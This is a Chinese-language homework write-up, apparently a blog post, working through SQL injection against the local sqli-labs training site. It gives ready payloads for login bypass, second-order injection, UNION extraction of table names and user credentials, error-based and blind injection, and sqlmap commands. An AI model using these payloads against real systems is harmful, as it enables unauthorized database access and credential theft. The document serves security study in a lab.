• SQL注入作业


    目录

    一、万能密码和二阶注入测试

    1.万能密码

    2.二阶注入测试

    二、联合查询注入测试

    1.判断注入点

    2.判断当前查询语句的列数

    3.查询数据库基本信息

    4.查询数据库中的数据

    三、报错注入

    1. 报错注入函数EXTRATVALUE 

    2.UPDATEXML

     四、盲注测试

    1.布尔盲注

    判断数据库名字长度

    猜解数据库名

    获取表的个数

    获取第一个表名的长度

    获取第一个表名

    获取列的个数

    获取列的长度

    获取列名的第一个字母

    2.延时盲注

    五、sqlmap


    一、万能密码和二阶注入测试

    1.万能密码

            万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?

             为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

            而我们的输入其实是

    1. $name = 8' or 3=3#

            替换后

    …… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";

            此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。

            当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。

    2.二阶注入测试

            所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin

            注册admin'#账号

            如图,现在数据库里面有:

            admin'# 密码是123456

            admin 密码是000000

            我们现在登录我们自己注册的账号:

             我们登录后修改密码,修改密码为999999

            此时我们来登录试试:

             为什么密码错误呢?我们来观察一下数据库:

            可以观察到我们修改的是admin的密码,而不是admin'#的数据。

            实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。

    二、联合查询注入测试

    1.判断注入点

    判断是不是整型:

    比如 1 and 1=1 

     

     没有显示结果,说明这不是整型。

    而输入1' or '1'='1

    说明这是字符型注入。

    2.判断当前查询语句的列数

    猜测是3列:

    猜测是两列:

     

    3列没有结果,2列有结果,说明当前查询语句有两列。

    3.查询数据库基本信息

    admin' union select user() ,database()#

    需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。 

    4.查询数据库中的数据

    获取表名

    admin' union select 1,table_name from information_schema.tables where table_schema = database() # 

    获取数段名

    admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #

    获取数据

    admin' union select username,password from users #

    三、报错注入

    1. 报错注入函数EXTRATVALUE 

    admin' union  select extractvalue(1,concat(0x7e, (select database()),0x7e)) #

    2.UPDATEXML

     admin' union  select updatexml(1,concat(0x7e,(select version()),0x7e),1)#

     四、盲注测试

    1.布尔盲注

    判断数据库名字长度

    无回显

    有回显

    说明可能为8,进行验证:

    猜解数据库名

     无回显,再尝试是否大于110

    有回显,再尝试是否大于115

    无回显,再尝试是否大于113

    有回显,再尝试是否大于114

    有回显,说明可能是115

    查询ascii表,说明该数据库名首字母为's'

    获取表的个数

    无回显,说明个数小于4

    获取第一个表名的长度

    无回显

    有回显,说明值为6

    获取第一个表名

     ?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #

    无回显,猜测是否大于100

    有回显,猜测是否大于105

    无回显,猜测是否大于103

    无回显,猜测是否大于102

    无回显,猜测是否等于101

    查ascii表,表名第一个字母为'e'

    获取列的个数

    ?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #

    有31个列

    获取列的长度

     ?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #

    第一列的长度为7

    获取列名的第一个字母

    ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 # 

    得到ascii为117,’u'

    2.延时盲注

    ?id=1' and if((length(database()))=8,sleep(4),null)) #

    说明数据库名长度为8

    ?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #

    说明第一个字母是's'

    五、sqlmap

     python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1 

     --current-db

    -D --tables

     

    -T --columns

     

    -C --dump

     

  • 相关阅读:
    【OpenSSL】VC编译OpenSSL
    淘宝/天猫获取购买到的商品订单物流 API 返回值说明
    Nginx防盗链
    AI人工智能学习之回归分析
    地图可视化 | 8月22日重庆山火分布地图及制作方法
    C++中“重写“类的静态函数
    oringin的x轴(按x轴规定值)绘制不规律的横坐标
    注解及其使用
    《12万字Java面经总结-MyBatis篇》
    负载均衡原理分析与源码解读
  • 原文地址:https://blog.csdn.net/weixin_74098337/article/details/137973834